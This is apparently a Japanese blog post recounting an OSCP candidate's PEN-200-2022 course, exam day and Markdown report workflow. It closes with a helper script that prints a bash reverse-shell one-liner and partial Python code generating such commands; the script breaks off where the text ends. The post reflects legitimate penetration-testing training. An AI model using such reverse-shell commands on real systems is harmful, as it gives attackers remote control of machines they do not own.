プログラム系統備忘録ブログ

記事中のコードは自己責任の下でご自由にどうぞ。

PEN-200-2022受講記 & OSCP合格記

PEN-200-2022コースを受講し、OSCP試験に合格できました。コースや試験の概要、これから取り組む方へのアドバイス、備忘録等の記事です。

なお、本文でも言及しますが、PEN-200コースの内容が改定されたり、OSCP試験の出題範囲が変更されたり、Bonus Pointの取得条件が変更されたりします。受講の際はご自身で最新情報をご確認ください。

分かる人向けの結果概要

  • PEN-200コース関連に合計350時間ほど取り組みました。
  • Exerciseを125問中123問正解し、Bonus Point 10点獲得しました。
  • Labのマシンを75台中52台を攻略しました。
  • 試験ではindependent targetsの3台すべて高権限シェルを獲得して60点 + Bonus Point 10点 → 合格ボーダー70点でのギリギリ合格でした。Active Directory SetはInitial Accessも何も分かりませんでした。レポートは表紙等除いて38ページになりました。

PEN-200とは

PEN-200とは、OffSec社が提供する学習コースです。副題にPenetration Testing with Kali Linux(略称PWK)とあるように、Kali Linuxを使ったペネトレーションテストの基礎を学ぶコースです。当該コースでは以下の事柄等を学べます:

  • 遵法精神
  • 公開情報等からの情報収集方法
  • ポートスキャンや辞書攻撃の方法
  • サービス名やバージョン番号等から既存のエクスプロイトを探す方法
  • サービスの正規機能を悪用して遠隔コード実行(Remote Code Execution; RCE)を実現する方法
  • WindowsマシンやLinuxマシンにおける権限昇格(Local Privilege Escalation; LPE)の方法

なお、私は2022年末から受講を始めており、そのときは単に「PEN-200」と呼ばれていました。2023年3月に内容が改定されて「PEN-200-2023」が登場しました。それに伴い、PEN-200は最新のPEN-200-2023を指すようになり、元々のPEN-200は「PEN-200-2022」と呼ばれるようになりました。また、そのくらいの時期に会社名が「Offensive Security」から「OffSec」へ改名されたようです。

OffSec社は、PEN-200コースの上位版であるPEN-300や、下位版であるPENも提供しています。また、ペネトレーションテスト以外のコースも提供しています。詳細はコース一覧ページをご参照ください。

私の事前知識

PEN-200-2022受講時の私の知識状況です:

  • 英語の技術文書は、適宜単語を調べながらで読めました。そのため後述するCourse MaterialやStudent Forumの内容は、多少時間がかかりますが理解できました。
  • bash等のCUIは普段から触っていました。また、Python3等のプログラミングの知識もありました。そのためリバースシェル先でのvimを使った編集や、エクスプロイトコードの内容確認等は問題ありませんでした。
  • CTFで学んだ分野の知識はありました。
    • Webジャンル関連では、SQL InjectionやOS Command Injection、Directory TraversalやLocal File Inclusion等の知識がありました。
    • Pwnジャンル関連では、x86/x64アセンブリやスタックオーバーフロー等の知識がありました。そのためPEN-200-2023コースで出てくるBuffer Overflow内容の「スタックオーバーフローのみ、かつカナリアもASLRもDEPもNXも何もない状況」は簡単かつ非現実的じゃないかと思いました(取り扱ういくつかのツールは新しく学べました)。
      • 後述するように、PEN-200-2023ではBuffer Overflowの単元が削除されました。削除理由はwe also recognize that in 2023, it’s unlikely that vanilla buffer overflows will play any significant role in most penetration tests.とのことなので、OffSec社側も非現実的と認識していたようです。
  • 一方で、ペネトレーションテスト関係の知識はほとんどありませんでした。
    • nmapやMetasploit Frameworkは名前を聞いたことがあるくらいで使ったことはありませんでした。
    • Active Directoryも名前を聞いたことあるくらいで、認証方式等は何も知りませんでした。
    • 他の受験者様の合格記を見ると、TryHackMeやHackTheBox等に事前に取り組んでいる方が多く見受けられました。しかし私は、それらのサービスも全く使ったことがありませんでした。

そういうわけで、どのようなAttack-Surfaceがあるのか、権限昇格にはどのような方法があるのか、それらを達成するために具体的にどのようなコマンドやツールが必要なのか、等の知識が全くありませんでした。しかしPEN-200を受講した今、それらに十分回答できるだけの知識を身につけられたと思っています。

PEN-200コース内容やOSCP試験内容、Bonus Point条件の変化

前書きにも書きましたが、コース内容や試験関係の項目はしばしば改定されます。試験に挑んだりする前に、最新の状況を確認することを推奨します。私が知っている範囲での改定を以下に記述します。

PEN-200-2022からPEN-200-2023への変化

2023年3月公開のPEN-200 (PWK) 2023 Update | OffSecにある通り、PEN-200-2022から以下の変更が加えられています。

  • Zshの使い方やシェルスクリプトの書き方といった、入門向け単元の削除(下位のPENコースで扱う内容とのことです)
  • バッファーオーバーフロー単元の削除(前述したように、非現実的な設定でした)
  • PowerShell Empire単元の削除(Metasploit Frameworkと機能と重複するからとのことです。私もPowerShell Empire練習用のExerciseでだけ使って、それ以降は使いませんでした……)

Bonus Pointの獲得条件の変化

Bonus Pointとは、OSCP試験の点数を10点底上げできるものものです。つまりはBonus Pointを獲得しておけば、OSCP試験合格の助けになります。

OSCP Exam Guide – Offensive Security Support Portalや、2022年8月公開のOSCP Bonus Points Update: Sunsetting PEN-200 Legacy Course Exercises and a New Way to Achieve Points!に説明がある通り、本記事執筆時点では以下の条件をすべて満たすことでBonus Pointを獲得できます:

  • Course Materialの全トピックについて、各トピック中Exerciseの80%以上を正解する(全トピック全Exerciseのうち80%、では無いので注意)。
    • なお、少なくともPEN-200-2022の場合は、トピックごとのExercise数に幅がありました。例えばExerciseが4個だけのトピックも存在しており、その場合は全問正解が求められます。
  • Labの30台以上のproof.txtを提出する。
    • すなわち、30台のマシンを完全に攻略する必要があります。
    • マシンの指定はありません。そのため後述するLearningPathでの言及やヒントのあるマシンや、Course Materialで解説のあるマシンでも構いません。

個人的には、Bonus Point獲得を目指すことを推奨します。Exerciseに取り組むことで当該トピックの内容をより確実に理解できるでしょうし、LabはPEN-200のメインであるため、どの道重点的に取り組むことになるはずです。「色々やってたら結果的にBonus Point条件を満たしていた」になるのかなと思います。

なお、2022/08/03以前では、Bonus Pointの獲得条件は以下の条件をすべて満たすことだったようです:

  • Course Materialの全Exerciseについてレポートを書く(=正解+レポート執筆)。
  • Labの10台について攻略レポートを書く(=攻略+レポート執筆)。

OSCP試験のレポート作成に備えた練習としては大いに役立つと思いますが、レポート作成に莫大な時間がかかるんじゃないかと思います。過去の合格者様の記事で「Bonus Pointは狙うべきではない」という言及があったのも納得です。

OSCP試験のマシン構成の変化

OSCP Exam Guide – Offensive Security Support Portalや、2021年12月公開のOSCP Exam Change | Offensive Securityに説明がある通り、2022年1月ごろからOSCP試験のペネトレーションテスト用環境は以下の構成になりました:

  • 独立した3台のマシン。低権限のシェル獲得で10点、高権限のシェル獲得で10点の合計20点。それが3台で最大60点。
    • PEN-200-2022時点では、「Buffer Overflowは低権限シェルの獲得手法で使うかもしれないし、使わないかもしれない」という扱いでした。PEN-200-2023ではBuffer Overflowを扱わないようになったため、試験でも登場しなくなりました。
  • Active Directory Setとして、1つのドメインコントローラーと2つのクライアント。ドメインコントローラーまで完全に攻略して40点。部分点はなし。
  • 前述したBonus Pointの10点も加算して、合格には70点以上が必要。

なお、他の受験者様の合格記によると、以前(いつ頃かは不明)は「独立した5台のマシンで、Buffer Overflowはかならず出題されて25点が得られる。ちなみにActive Directory Setは出題されない」試験内容だったようです。

PEN-200コース受講記

私は90日間の期間でPEN-200-2022を受講しました。ExerciseとLab攻略の進捗状況を表したのが以下の図です:

PEN-200コースの進捗

ざっくり、以下の流れで進めました:

  • Course Materialのダウンロードリクエストを出しました。約3時間後には承認されており、PDFとしてダウンロードできました。45.9MiB、859ページの重厚な資料でした!Kindleに入れて、外出中でも読み進められるようにしました。
    • なお、Course Materialの内容はTEXTとVIDEOの2種類がありますが、ダウンロードできるPDFにはTEXTのみ含まれています。VIDEOは最後まで全く見ませんでした。
  • まずはCourse Materialをざっくり一周読み進めました。2週間ほどかかりました。その間でも便利そうなツール等は記録しておきました。
    • おおよそのトピックは「そういう概念や手法があるんですね」で進められました。しかし、ポート転送やActive Directoryのトピックは難しく、1周目では全く理解できませんでした。2周3周して、Exerciseに取り組んでからようやく理解できました。
  • その後、Lab攻略を始めました。後述するLearning PathやHints、Student Forumを大いに参考にしました。
  • 45日目頃に、Exerciseに少し手を出してみました。「少し」の割には40%弱も進んでいるのは、後述するように最初は簡単な内容だったためです。
  • Labで30台攻略できた後は、Bonus Point獲得のためにExerciseに重点的に取り組み始めました。
  • 一部トピックのExerciseで詰まりましたが、ほとんどのトピックでExercise80%正解を達成できたので、そのタイミングでまたLab攻略に戻りました。
  • その後、詰まっていたExerciseを正解でき、残りはLabにひたすら取り組みました。
  • 後述しますが、OSCP試験受験の予定を立てて、約1か月前に日程を予約しました。
  • 期間終了数日前から、Markdownを使ったPDFレポートの作成練習を始めました。レポート作成関係は最後におまけとして記述します。
  • 結果的に、90日のPEN-200コース期間完了までにExerciseを125問中123問正解し、Labのマシンを75台中52台攻略できました。本記事執筆中に当時のメモをかき集めて取り組んだ時間を数えると、350時間に達していました。想像以上に取り組んでいました。
  • コース完了後すぐのタイミングでOSCP試験を受験しました。詳細は後述します。

ExerciseやLab攻略の過程や、Student Forumの他の方の書き込み等で得られた情報等は、「チートシート」としてテキストファイルへひたすら書いていきました。「困ったときはファイル内検索すれば見つかる」ことを重視していましたし、実際とても役立ちました。今見たら1500行ほどありました。内容の一例です:

コマンド等の利用方法やオプション類をひたすら書いた「チートシート」

コース受講にあたって、参考になりそうな文献や体験を以下で紹介します:

Exercise関係

  • Exerciseの流れは、「そのExercise用のマシンを起動して、提示されるIPアドレス、ポート番号、認証情報でSSHログインして、何かする」形式が多かったです。
    • その際、SSHで通常使用する22番ポートではなく、他のポート番号が提示されることがありました。加えて22番ポートでも別のSSHサービスが稼働していたため、「間違えて22番ポート側へSSH接続してしまい、なぜかログインできない」現象に悩むことがありました。22番ではないポート番号が提示されていると気付いて、ようやく正常にログインできました。
  • Exerciseで回答する内容は、Exercise用マシンを再起動するたびに変化することに注意が必要です。このことは、Topic Exercises FAQ – Offensive Security Support Portalで、You must submit the flag before you revert the machine. If you revert your machine, you will have to reproduce the steps in order to get the correct hash.と言及されています。
    • Exerciseによっては「ファイルをダウンロードして、そのファイルを処理して正解を取得する」形式のものがありました。「ファイルをダウンロードした→VPN接続が途切れたので再接続した→正解を提出できない状況だったので、マシンを再起動して提出しようとした」ときに思いっきりハマっていました。マシンを再起動したら、改めてファイルをダウンロードし直しましょう。
  • PEN-200-2022では、最初の方のExerciseはZshの使い方等の入門向けの内容でした。そのようなExerciseでは内容本体に取り組む時間よりも、Exercise用マシンを起動、終了させる方が時間の方が長かったりしました。
    • PEN-200-2023では入門向けの単元は削除されているため、こういった体験は無くなるんじゃないかと思います。

Lab関係

  • PEN-200 Labs Learning Path – Offensive Security Support Portalで、11個のマシンについて情報が与えられています。それらのマシンは最初の取っ掛かりとして最適だと思います。
    • 特にALPHABETAマシンのDetails箇所には、OffSec社がStudent Forumへ投稿した完全なwriteupへのリンクがあります。最初はその投稿を熟読して、手順や考え方を学びました。
      • Student Forum等のサポートについては後述します。
  • 他にも、PEN-200 Machine Hints – Offensive Security Support Portalで10台のマシンのヒントが提供されています。なお、このページでは対象マシンのホスト名のみが開示されており、IPアドレスは非開示です。
    • Labでは、Control PanelからIPアドレスは既知ですが、ホスト名は最初は分からない状態です。何らかの方法でIPアドレスからホスト名が得られると、これらのヒントを活用しやすいと思います(手元のメモではIPアドレスとホスト名の対応を書いているんですが、どうやって取得したのかは書いておらず、かつ忘れてしまいました……)。
  • PEN-200 Learning Library Lab Connectivity Guide – Offensive Security Support Portalで紹介されているように、Lab環境のネットワークは複数のネットワークに分かれています。
    • VPN接続経由で直接アクセスできるのはStudent Networkだけです。そのため最初のうちはStudent Networkのマシンの攻略を目指すことになります。他のネットワークは入口となるマシンからピボットする必要があります。
    • PEN-200 Network Introduction Guide – Offensive Security Support Portalで言及されているように、Student Network以外のネットワークをControl Panelへ表示させるには、特定のマシンに置かれているnetwork-secret.txtの内容を提出する必要があります。見逃さないようにしましょう。
  • PEN-200 Network Introduction Guide – Offensive Security Support Portalで言及があるように、マシンへ取り組む前にControl Panelからそのマシンをrevertすることを推奨します。他の受講生とLabネットワークやサーバーを共有しており、他の受講生がサーバーに変更を加えている可能性があるためです。
    • それでもしばしば同一時刻に同一サーバーに取り組んでいる方がおられたようで、ホームディレクトリに色々「それらしいもの」が置かれていたことはありました……。

サポート関係

  • メールサポート

    • Contact support – Offensive Security Support Portalに説明がある通り、各種問い合わせ窓口用のメールアドレスが紹介されています。困ったらぜひ質問してみましょう。
      • 私は主にHelp部門へ質問していました。適切に対応、回答していただいて、とても助かりました。なお、以下のような内容を質問しました:
        • 「Student Forumのログインに必要な認証情報が分かりません」(本記事記述中に気付きましたが、上記記事中にForum Credential requestsもHelp部門へ連絡するよう書いてありました。皆様、ぜひお問い合わせメールを送りましょう。)
        • 「OSCP試験要件のこのページ中のこの記述は、この理解で合っていますか?」
        • 「OSCP試験のproctoring用アドオンのインストールURLはこちらで合っていますか?」
      • 回答が来たら、「うまくいったので解決しました。」や「うまくいきませんでした。他の方法はありますか?」等、返信してあげてください。どうやらサポートチーム側としては、質問側が解決するまでは対応を完了できないらしいです(数日返事を忘れていたら、状況確認メールがやってきました)。
  • Offensive Security Forums

    • Course MaterialやLabの各マシンの話など、様々な話題がある掲示板です。未ログイン状態では表示される板は少ないですが、Help部門へ連絡して認証情報をもらってログインすると、より多くの板が表示されます。
    • ExerciseやLab攻略に詰まって分からなくなったときにも参照しましたし、自力で攻略できた場合でも他の考え方があるかどうかを確かめるためにも一通り眺めました。参考になる書き込みがたくさんあります。とても役立ちました。
    • 私が詰まった点の書き込みが見つからず、その後自己解決した場合は、関連するスレッドに書き込みました。微力ながら貢献できたと思います。
    • なお、「ネタバレ」は厳しく禁じられており、解法に直接関わるツール名やコマンドは削除されたり編集されたりします。そのため迂遠で回りくどい表現をしばしば見ることになります。そういうものだと受け入れましょう。
      • 例えば、某プロトコルのことを言及する際に、Brazilian Danceと形容されていたり、某作品に登場する似た名前の某登場人物を指してLittle Lionと形容されていたりしました。
        • あまりにも分かりづらい表現は、他の人からもツッコミが入っていました。
      • なお、外部サイトへのURLは大いに役立つものが多かったです。ほぼ完全な答えと言えるようなものすらありました。
  • Discord

    • OffSec Discord Office Hours – Offensive Security Support Portalで紹介されているように、OffSec社はコミュニケーションの活発化のためにDiscordサーバーを運用しています。
    • 特定のチャンネルでPEN-200コースに参加していることを表明して権限を付与してもらうと、PEN-200関係のチャンネルへ参加できるようです。
    • ただ、私はDiscordに不慣れなこともあり、全く使いませんでした。そのためどのような話題があるのか、どの程度のサポートが得られるかは分かりません。
  • reddit(OffSec社とはおそらく無関係)

    • redditとは、主に英語圏のユーザーが使う掲示板とのことです。その中にAll things OSCPという、OSCP関係の話題を扱う板のようなものがあります。もしかしたら何かしらのヒントが得られるかもしれません。

OSCP試験受験記

私の理解だと、OSCP(Offensive Security Certified Professional)試験とはPEN-200コースの内容を習得したことを証明するための試験です。OSCP Exam Guide – Offensive Security Support Portalに説明がある通り、23時間45分間のペネトレーションテストを行う段階と、その後24時間以内にレポートを書き上げて提出する提出する段階の2つに分かれます。

OSCP試験の申込み

  • OSCP試験の開始日時は、ポータルページから予約を入れて指定します。空きがあれば、1時間単位で開始時間を設定できます。
    • 私の予約時は、1か月先の日程はそれなりに埋まっており、設定できない時間帯が多く存在しました。体感、8割~9割ほどは埋まっていたように思います。予定を立てられているならもっと早めに予約したほうがいいと思います。
    • 試験予約時、タイムゾーンには注意が必要です。他の受験者様の合格記では「夏時間のことを忘れていて、開始時刻が想定と1時間違っていた」ということもあったようです。
  • 試験時間の変更は、試験開始48時間前までに、3回までできます。とはいえ直近だと再設定可能な時間帯が少ないと思うので、やはりなるべく早めに変更したほう良いと思います。
  • OSCP試験開始からきっかり72時間前に、試験のリマインダーメールが届きました。メール記載の試験開始日時を確認しましょう。

proctoringソフトウェアの動作確認

Proctoring Tool Manual – Offensive Security Support Portalにあるように、OSCP試験のペネトレーションテストを行う段階では、Webカメラで自身や部屋を映すとともに、試験官へ画面共有を行います。その際に使用するproctoringソフトウェアの動作確認ができます。Contact support – Offensive Security Support PortalのProctoring部門の説明にtesting the proctoring softwareとある通り、Proctoring部門に連絡すると動作確認用の認証情報を提供してくれます。

なお、試験72時間前に受信したリマインダーメール記載の認証情報では、動作確認用のログインページへログインできませんでした。その認証情報は、試験開始15分前からのみ使用できるとのことです(=試験本番用)。

その他受験前の準備

他の方の合格記を見て、色々備えました。とても役立ちましたありがとうございます。

  • Webカメラを準備しました。とりあえず映ればいいだろう精神で、720pビデオを実現するロジクールC270 HDウェブカメラ(ノイズリダクションマイク搭載)を買いました。
    • 後述するように、パスポートを試験官へ見せる場面でうまくいきませんでした。それ以外は問題ありませんでした。
  • 試験前に、Webカメラで部屋を見せる場面があるとのことでした。そのため机のそばのものを部屋の隅に追いやったり、可能であれば部屋の外に出したりしておきました。
  • 試験前に、Webカメラでパスポートを見せる場面があるとのことで、その際にWebカメラでは読み取れなかったときに備えてスキャンしておくとよいとのことでした。スキャンしたものを用意しました。
  • Proctored Exams – Offensive Security Support Portalを一通り眺めました。休憩や睡眠は取ることが推奨されています!
  • 食べ物飲み物を準備しました。

OSCP試験本番

私は、日本時間で昼の12時からの試験を予約しました。方針として、以下のことを考えていました:

  • 最優先でActive Directory Setを攻略する。「Independent Machines全完 + Bonus Pointでのギリギリ合格」は心臓に悪いので避けたい。
  • その後にIndependent Machinesに取り組む。
  • 最後に手順の再確認や、念のための画像の取り直しをする。
  • 1時間くらいごとに休憩して、甘いものを食べたりする。
  • 食事や睡眠はちゃんと取る。
  • Can I take breaks during the exam? – Offensive Security Support Portalに記載されているように、離席時や着席時は、チャットで連絡する。
    • 私は「I'm going to leave my seat and take a break.」「I have returned to my seat to resume the exam.」と書いていました。通じてくれていたみたいです。

実際の試験時は以下の流れになりました:

ペネトレーションテスト

  • 11:44 proctoringセッションへログインしました。Webカメラの有効化や、画面共有の設定をしました。
  • 11:45 チャットで試験官から事前確認の指示が届きはじめました。
    • パスポートをWebカメラ越しで提示しましたが、認識できない(=読めない)と言われました。そのため事前にスキャンしておいた内容をモニターに表示して確認してもらいました。
    • Webカメラを持って、机の下や部屋を示すところでは、何一つ問題なくすんなり終わりました。
    • その後の確認も問題なく終わりました。
    • なお、全体的にチャット内容の送受信には機械翻訳に頼りました。誤った理解は怖いので……。
  • 11:57 事前確認が無事完了しました。
  • 12:00 メールでVPN接続用ファイルが届きました。ここから試験スタートです。
    • 思ったことですが、試験官による監視中にメール一覧を開くことは、人によってははばかられるかもしれません。事前に受信トレイを整理しておくといいかもしれません。
  • 12:10 Instructionsをざっくり読み終わりました。Active Directory Setへ取り組み始めました。
  • 13:52 Active Directory Setへの時間のかかる調査を裏で動かしておいて、その間にIndependent Machineへ取り組むことにしました。1台が簡単そうなのでそこから始めました。
  • 15:40 Independent Machine 1台目の低権限シェルを獲得しました(10点目)。そのマシンの権限昇格が思いつかなかったので他のマシンを見ることにしました。
  • 17:03 Independent Machine 2台目の低権限シェルを獲得しました(20点目)。権限昇格がすぐ分かったので継続して取り組みました。
  • 17:42 Independent Machine 2台目の高権限シェルを獲得しました(30点目)。Active Directory Setが全然分かっていない状況が怖いものの、ひとまずまた各マシンを再確認しました。
  • 18:00 晩ごはんを食べました。
  • 19:23 Independent Machine 1台目の高権限シェルを獲得しました(40点目)
  • 20:00~ 絶望の時を過ごしていました。
    • 手は動かしていたものの、相変わらずActive Directory Setも、残る1台のIndependent Machineも全く取っ掛かりを掴めていませんでした。あまりにも何も分からなさすぎて、ポート検出漏れがあってほしいと祈りながらポートスキャンを再実行して、結果に差が無いことに落胆していたりしました。
    • 途中で夜食を取ったり、1時間ほどの仮眠を2回取ったりしましたが、それでも全く何も思いつかないまま時間が過ぎていきました。
    • 夜が明けて晴れ渡る青空を見ているときも、気分はどん底だったことを覚えています。
  • 05:55 Independent Machine 3台目の最初の取っ掛かりを掴めました。約10時間ぶりの進捗に感激しました!
  • 07:05 Independent Machine 3台目の低権限シェルを獲得しました(50点目)。ここまで来たら「Independent Machines全完 + Bonus Pointでのギリギリ合格」を目指すしか無いと考えました。
  • 08:19 Independent Machine 3台目の高権限シェルを獲得しました(60点目)。Bonus Pointの10点込みで、合格点数ボーダーにようやく到達しました!
  • 08:30~ 各マシンをrevertした後に、実行手順をまとめながらIndependent Machineを再攻略して、スクリーンショットを取り直しました。すぐ終わると思っていましたが、実際は1台1時間弱かかったと思います。
    • 途中、1台のproof.txtのスクリーンショットを取り忘れていたと分かったときは思わず叫びました。検証は大事です!
  • 11:15 終了前に、最後の再確認をしました。
    • Control Panelに記載されているInstructionを再確認しました。
    • Control Panelでハッシュ値を提出できていることを再確認しました。
    • スクリーンショットを一通り取れていることを再確認しました。
    • 手順を再現するために必要なコマンドをまとめられていることを再確認しました。
  • 11:45 proctoringセッションが終了し、ペネトレーションテストも終了しました。疲れと脱力が一気に押し寄せました。
    • 結局Active Directory Setは、最初の第一歩すら全く分かりませんでした。

レポート作成

Bonus Point含めてもOSCP試験合格の最低点数であるため、レポート内容で減点されると不合格になってしまいます。そのためとにかく「step by step」での記述を心がけました。とはいえ、「試験中に順をほぼまとめて終わっているので、1台1時間くらいで書き終わるでしょう」と高をくくっていました。とりあえず疲れ果てていたので休憩から入りました:

  • 11:57 昼ごはんを食べました。
  • 12:40 布団に潜って就寝しました。
  • 17:43 目覚めました。休憩がてらインターネット記事の新着などを巡ったり、晩ごはんを食べたりしました。
  • 20:18 レポートを書き始めました。後述するようにMarkdown形式です。
  • 20:56 「Independent Machine」以外の全体的な話を書きました。
  • 22:58 1台目のlocal.txt取得までを書き終えました。想像以上に時間がかかっていることに少し焦ります。
  • 23:50 1台目のproof.txt取得までを書き終えました。1台3時間ほどかかっています。
  • 01:25 2台目のlocal.txt取得までを書き終えました。
  • 02:23 2台目のproof.txt取得までを書き終えました。途中、pandocの挙動で一部ハマっていました(本記事最後におまけで言及しています)。
  • 04:04 3台目のlocal.txt取得までを書き終えました。頭痛がし始めました。軽食を取りました。
  • 05:06 3台目のproof.txt取得までを書き終えました。あくびがものすごく出ていました。
  • 08:30 一周見直して、冠詞の間違いや時制の不統一を修正したり、怪しい表現を検証したりしていました。一周するだけでこの時間がかかっています。
  • 09:11 もう一周見直しました。致命的な見た目崩れ等は無いことを確認しました。
  • 09:18 PDFレポートを7z圧縮してアップロードし、表示されるMD5が手元と一致することを確認しました。
  • 09:23 受付完了メールを受信しました。これで試験全体が無事終了しました。
    • 身体面でも精神面でも何かと限界を迎えていました!そのあと2~3日間眠りまくって、なんとか回復しました。

レポート中のActive Directory Set箇所は「私は侵入できませんでした」な数行のページで済ませたにもかかわらず、Independent Machinesの記述だけで12時間以上費やしたのが驚きでした。もう少しレポート執筆の練習をして、時間感覚を身に着けておいたほうが良かったのかもしれません。なお、最終的なレポートは40ページに、表紙等を除いた実質的なページ数は38ページになりました。

レポートの書き方の話はおまけとして後述します。

合格通知

提出から約60時間後、We are happy to informから始まるメールが届きました。合格通知でした!無事、レポートでの減点はされなかったようです。

合格証書を受け取る形式は、Accredible Digital Credentialsという形式のみが選択可能でした。Accredibleというサービスでのみ可能なようです。過去の合格者様の記事によると合格証書が物理配送された時期もあったようなのですが、どうやら残念ながら今は無くなっているようです。

感想

とにかく、OSCP試験で停滞していた10時間が辛かったです。神経がすり減る気分はこういうものなのかと思い知らされました。今回は「試験であり、必ずどこかに脆弱性が存在する」と分かっているので挑み続けることはできましたが、通常のペネトレーションテストだとどこかで打ち切ったりするんでしょうかね……?

コース内容としては非常に満足できるものでした。受講期間が90日という長めの期間であり、その中で多くの可処分時間を投入したはずですが、それでもLabの全攻略には至れないほどのボリュームがありました。その長期間の間、数々の攻撃手段をLab環境で実演できたという経験は、大きな自信に繋がります。

その他個人的なところでは、各種コマンドのオプションや、各種プロトコルの理解が深まったことが面白かったです。ncコマンドやsshにたくさんのオプションがあることを初めて意識した気がします。また、SMTPやPOP、ICMPやFTP等をncコマンドで喋るのは新鮮でした。また、とあるエクスプロイトの実装を見たらpwntoolsライブラリが使われていて驚きました。リモートIOライブラリとして使うだけでも非常に便利なのは確かですが、CTFを超えて愛されているんですね!

OffSec社が提供する他のコースを眺めてみると、EXP-301やPEN-300が面白そうです。そのうち挑戦したいです。

おまけ: 私のMarkdownレポートの作成方法

OSCP試験のレポートはPDF形式で提出する必要があります。レポート要件が書かれているページPEN-200 Reporting Requirements – Offensive Security Support Portalで、Microsoft Word形式と、OpenOffice/LibreOffice形式についてはテンプレートが提供されています。それらの形式でレポートを書き慣れている方は、それらを活用できると思います。しかし私はOffice系をそれほど使っていないため、別の方式を探しました。すると他の方の合格記等で、MarkdownからPDFレポートを作成する方法を知りました。Markdown形式はブログ記事作成等で慣れているため、Markdown形式で書くことにしました。

私が使った環境です:

  • noraj/OSCP-Exam-Report-Template-Markdownを導入して、[OSCP] Whoisflynn Improved Template v3.2からMarkdownファイルを生成しました。
    • なお、当該OSSではテンプレートファイルの生成のみならず、PDFへのコンパイルや、提出時の7z形式圧縮等も行えるようです。ただ私はテンプレートファイルの作成のみに使いました。
    • 章立てが一部変に思った(「3 Methodologies」以下の「3.2 Penetration」以下にテスト結果を書いている等)ので、OffSec公式のOfficeテンプレートを参考に章立てを変更しました。
  • MarkdownファイルをPDF形式へ変換するために必要なものを導入しました:
    • pandocコマンドをインストールしました。確かapt installで導入できたと思います。私はpandoc 2.9.2.1を使いました。
    • Wandmalfarbe/pandoc-latex-templateからeisvogel.latexのダウンロードし、/usr/share/pandoc/data/templates以下へ配置しました。私が使ったバージョンは、Version 2.2.0です。
  • 最終的に、以下のpandocコマンドや、YAML metadata blockを使いました:
pandoc report.md -o OSCP-OS-XXXXX-Exam-Report.pdf --from markdown+yaml_metadata_block+raw_html --template eisvogel --table-of-contents --toc-depth 6 --number-sections --top-level-division=chapter --highlight-style breezedark --resource-path=.:src -V colorlinks=true
title: "Offensive Security Certified Professional Exam Report"
author: ["test@example.com", "OSID: XXXXX"]
date: "YYYY-MM-DD"
subject: "OSCP Exam Report"
keywords: [OSCP Exam Report]
subtitle: "OSCP Exam Report"
lang: "en"
titlepage: true
titlepage-color: "1E90FF"
titlepage-text-color: "FFFAFA"
titlepage-rule-color: "FFFAFA"
titlepage-rule-height: 2
book: true
classoption: oneside
code-block-font-size: \scriptsize
  • 生成したPDFファイルの確認にはSumatra PDFを使いました。SumatraPDFは読み込みPDFファイルをロックせず、かつ表示中のPDFファイルが更新された場合に自動で再読込してくれて便利です。
  • その他、誤字脱字チェックにcodespell-project/codespellを使いました。全く気づいていなかった誤字に気付かせてくれて助かりました。
  • 英文の構成は、主語はI、時制は過去形にして書きました。

その他、pandocやMarkdown関係でハマったことをいくつか書いていきます。

pandocやMarkdownで困ったけど対処できたこと

  • Windows形式のパスを書いたら、! Undefined control sequence.エラーが発生する:
    • *C:\Program Files\*等、アスタリスクで囲んだ箇所でバックスラッシュを一重にしていると発生するようでした。*C:\\Program Files\\*等、バックスラッシュをエスケープしてやると解決しました。
      • `C:\Program Files\`と、バックティックで囲う場合は一重で問題なかったのでしばらく混乱していました。
  • URLを書いても色等がつかず、素のテキストと区別が付きづらい:
    • pandocのコマンドライン引数に-V colorlinks=trueオプションを追加すると、URLが青色表示になりました。前述のpandocコマンドの引数にもそのオプションを追加しています。
  • 素の文章に色付けしたい:
    • \textcolor{red}{色付けする文章}でうまくいきました。なお、ググって他に出てきた<span style="color: red;">文章</span>[文章]{style="color: red"}では変化がありませんでした。
  • テーブル内要素で改行したい:
    • \文字直後に改行を入れると実現できました。[OSCP] Whoisflynn Improved Template v3.2での生成結果中のService Enumeration箇所のテーブルで使用されており、参考になりました。

pandocやMarkdownで困ったし対処できなかったこと

  • # 見出しレベル1が存在するページかどうかで、ヘッダーフッターが異なる。具体的には、テンプレートのサンプルのP1~3では「ヘッダーなし、フッターは中央にページ番号」ですが、見出しレベル1がないP4では「ヘッダーはタイトルや日付、フッターは左にメールアドレスとOSID、右にページ番号」になる。

    • pandocのオプションに--template eisvogelを指定する場合に発生したので、eisvogel側で意図的に行っているように思います。
    • 回避方法が分からなかったので受け入れました。体裁だけの問題であって、内容には影響がないので……。
      • pandocオプションに--top-level-division=sectionを追加するとヘッダーとフッターは理想的になりましたが、見出しレベル1箇所に0.1 Offensive Security OSCP Exam Reportと謎の0.が追加されてしまったのでボツにしました。
  • 見出しレベル1~4では見出しと本文の間に改行が入るが、見出しレベル5では見出しと本文の間が改行されない

    • 対処方法が分かりませんでした。そのため見出しレベル5を使わないようにして対応しました……。
# Level 1 Title
This is a pen.

## Level 2 Title
This is a pen.

### Level 3 Title
This is a pen.

#### Level 4 Title
This is a pen.

##### Level 5 Title
This is a pen.

PDF生成結果、見出しレベル5だけ見出しと本文の間が改行されない

  • 空白を含まない長い行が、右端で折り返されずにページ右端を貫通する
    • 対処方法が分かりませんでした。そのため「適当な長さで改行して、本文でそのことを注釈する」ことで回避しました……。
      • 本番のレポート作成中に遭遇して非常に焦りました……。
# Level 1 Title
3.14159265358979323846264338327950288419716939937510582097494459230781640628620899862803482534211706798214808651328230664709384460955058223172535940812848111745028410270193852110555964462294895493038196

PDF生成結果、空白を含まない長い行が、右端で折り返されずにページ右端を貫通する

おまけ: コマンドコピペ用スクリプトの紹介

RCE時やリバースシェル先で、典型的な決まりきったコマンドを入力したくなるときがあります。その際、コマンド名やいくつかの引数は固定ですが、IPアドレスはその時のVPN用のものに変更する必要があります。何度か手打ちで間違えて嫌になったので、「実行して、結果をコピーして、先で貼り付ける」用途のスクリプトを書きました。単純作業こそ自動化できると便利と思います。argparseライブラリの便利さに感激しながら書いていました。

リバースシェル用コマンド出力スクリプト

Online - Reverse Shell Generatorのローカル版のようなものです:

$ ./print_reverse_shell_command.py
bash -i >& /dev/tcp/198.51.100.1/443 0>&1
$
#!/usr/bin/env python3

import argparse
import netifaces

parser = argparse.ArgumentParser(
    description = "print a reverse-shell command such as 'bash -i >& /dev/tcp/<IP>/<PORT> 0>&1'",
    formatter_class=argparse.ArgumentDefaultsHelpFormatter)

parser.add_argument("-i", "--interface", required=False, default="tun0", type=str, help="a network interface name to connect back")
